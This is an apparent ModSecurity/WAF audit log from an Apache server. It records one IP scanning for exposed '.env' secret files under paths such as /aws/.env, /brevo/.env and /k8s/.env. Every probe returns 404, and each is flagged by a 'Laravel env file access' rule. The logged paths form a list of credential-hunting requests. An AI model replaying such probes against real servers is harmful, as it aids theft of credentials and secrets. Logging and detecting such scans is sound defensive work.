Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailgun/.env"] [unique_id "aqYMOWM7dE9KgIIOpQhd5gAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267001611903 132514 (- - -)
Stopwatch2: 1789267001611903 132514; combined=7194, p1=622, p2=6507, p3=0, p4=0, p5=65, sr=236, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--df572569-Z--

--8325e93a-A--
[13/Sep/2026:05:36:43.118244 +0300] aqYMOmM7dE9KgIIOpQhd5wAAAMw 34.175.231.24 47456 127.0.0.1 7081
--8325e93a-B--
GET /mandrill/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8325e93a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8325e93a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mandrill/.env"] [unique_id "aqYMOmM7dE9KgIIOpQhd5wAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267002995034 123280 (- - -)
Stopwatch2: 1789267002995034 123280; combined=5436, p1=301, p2=4378, p3=0, p4=0, p5=757, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8325e93a-Z--

--84e5547c-A--
[13/Sep/2026:05:36:44.672268 +0300] aqYMPEwu1RSkptiiNIXtvAAAAJU 34.175.231.24 47474 127.0.0.1 7081
--84e5547c-B--
GET /mailjet/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--84e5547c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--84e5547c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailjet/.env"] [unique_id "aqYMPEwu1RSkptiiNIXtvAAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267004541423 130913 (- - -)
Stopwatch2: 1789267004541423 130913; combined=4936, p1=326, p2=4540, p3=0, p4=0, p5=70, sr=151, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84e5547c-Z--

--26388910-A--
[13/Sep/2026:05:36:46.863340 +0300] aqYMPmM7dE9KgIIOpQhd6QAAANc 34.175.231.24 56636 127.0.0.1 7081
--26388910-B--
GET /brevo/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--26388910-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26388910-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/brevo/.env"] [unique_id "aqYMPmM7dE9KgIIOpQhd6QAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267006747671 115766 (- - -)
Stopwatch2: 1789267006747671 115766; combined=4849, p1=278, p2=4488, p3=0, p4=0, p5=82, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26388910-Z--

--e8e9003d-A--
[13/Sep/2026:05:36:48.660809 +0300] aqYMQGM7dE9KgIIOpQhd6gAAAM8 34.175.231.24 56664 127.0.0.1 7081
--e8e9003d-B--
GET /transactional/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e8e9003d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e8e9003d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/transactional/.env"] [unique_id "aqYMQGM7dE9KgIIOpQhd6gAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267008534934 125939 (- - -)
Stopwatch2: 1789267008534934 125939; combined=4192, p1=259, p2=3814, p3=0, p4=0, p5=119, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e8e9003d-Z--

--b7114e45-A--
[13/Sep/2026:05:36:50.832944 +0300] aqYMQmM7dE9KgIIOpQhd7QAAANY 34.175.231.24 56714 127.0.0.1 7081
--b7114e45-B--
GET /bulk/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b7114e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b7114e45-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bulk/.env"] [unique_id "aqYMQmM7dE9KgIIOpQhd7QAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267010682475 150542 (- - -)
Stopwatch2: 1789267010682475 150542; combined=5508, p1=314, p2=5114, p3=0, p4=0, p5=79, sr=150, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b7114e45-Z--

--d70ec350-A--
[13/Sep/2026:05:36:52.833359 +0300] aqYMRGM7dE9KgIIOpQhd7wAAAMQ 34.175.231.24 56762 127.0.0.1 7081
--d70ec350-B--
GET /aws/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d70ec350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d70ec350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/aws/.env"] [unique_id "aqYMRGM7dE9KgIIOpQhd7wAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267012713100 120330 (- - -)
Stopwatch2: 1789267012713100 120330; combined=4255, p1=261, p2=3933, p3=0, p4=0, p5=60, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d70ec350-Z--

--8f1b1324-A--
[13/Sep/2026:05:36:54.746959 +0300] aqYMRmM7dE9KgIIOpQhd8AAAAMs 34.175.231.24 56764 127.0.0.1 7081
--8f1b1324-B--
GET /azure/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8f1b1324-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8f1b1324-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/azure/.env"] [unique_id "aqYMRmM7dE9KgIIOpQhd8AAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267014620808 126207 (- - -)
Stopwatch2: 1789267014620808 126207; combined=6624, p1=1864, p2=4689, p3=0, p4=0, p5=71, sr=1007, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f1b1324-Z--

--d8aede7b-A--
[13/Sep/2026:05:36:56.500722 +0300] aqYMSDTJ6xTvcJoem7f1lAAAAFQ 34.175.231.24 36064 127.0.0.1 7081
--d8aede7b-B--
GET /gcp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d8aede7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d8aede7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gcp/.env"] [unique_id "aqYMSDTJ6xTvcJoem7f1lAAAAFQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267016375534 125257 (- - -)
Stopwatch2: 1789267016375534 125257; combined=5435, p1=396, p2=4951, p3=0, p4=0, p5=87, sr=201, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d8aede7b-Z--

--6e199037-A--
[13/Sep/2026:05:36:58.831382 +0300] aqYMSkwu1RSkptiiNIXtwQAAAIM 34.175.231.24 36080 127.0.0.1 7081
--6e199037-B--
GET /cloud/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--6e199037-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6e199037-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cloud/.env"] [unique_id "aqYMSkwu1RSkptiiNIXtwQAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267018702781 128676 (- - -)
Stopwatch2: 1789267018702781 128676; combined=7180, p1=1242, p2=5830, p3=0, p4=0, p5=107, sr=130, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e199037-Z--

--e09b444a-A--
[13/Sep/2026:05:37:00.835675 +0300] aqYMTEwu1RSkptiiNIXtwwAAAII 34.175.231.24 36090 127.0.0.1 7081
--e09b444a-B--
GET /infrastructure/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e09b444a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e09b444a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/infrastructure/.env"] [unique_id "aqYMTEwu1RSkptiiNIXtwwAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267020710841 124958 (- - -)
Stopwatch2: 1789267020710841 124958; combined=8649, p1=307, p2=8259, p3=0, p4=0, p5=83, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e09b444a-Z--

--44ca0d31-A--
[13/Sep/2026:05:37:03.579328 +0300] aqYMT2M7dE9KgIIOpQhd8gAAANI 34.175.231.24 36110 127.0.0.1 7081
--44ca0d31-B--
GET /docker/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--44ca0d31-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--44ca0d31-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/docker/.env"] [unique_id "aqYMT2M7dE9KgIIOpQhd8gAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267023449311 130079 (- - -)
Stopwatch2: 1789267023449311 130079; combined=6092, p1=530, p2=5468, p3=0, p4=0, p5=93, sr=200, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--44ca0d31-Z--

--cb60e014-A--
[13/Sep/2026:05:37:04.834253 +0300] aqYMUGM7dE9KgIIOpQhd8wAAANg 34.175.231.24 36126 127.0.0.1 7081
--cb60e014-B--
GET /k8s/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--cb60e014-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cb60e014-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/k8s/.env"] [unique_id "aqYMUGM7dE9KgIIOpQhd8wAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267024713699 120611 (- - -)
Stopwatch2: 1789267024713699 120611; combined=5074, p1=327, p2=4686, p3=0, p4=0, p5=61, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cb60e014-Z--

--6af14a3f-A--
[13/Sep/2026:05:37:07.123391 +0300] aqYMUkwu1RSkptiiNIXtxAAAAI4 34.175.231.24 46610 127.0.0.1 7081
--6af14a3f-B--
GET /kubernetes/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--6af14a3f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6af14a3f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/kubernetes/.env"] [unique_id "aqYMUkwu1RSkptiiNIXtxAAAAI4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789267026998865 124593 (- - -)
Stopwatch2: 1789267026998865 124593; combined=4694, p1=283, p2=4352, p3=0, p4=0, p5=59, sr=108, sw=0, l=0, gc=0
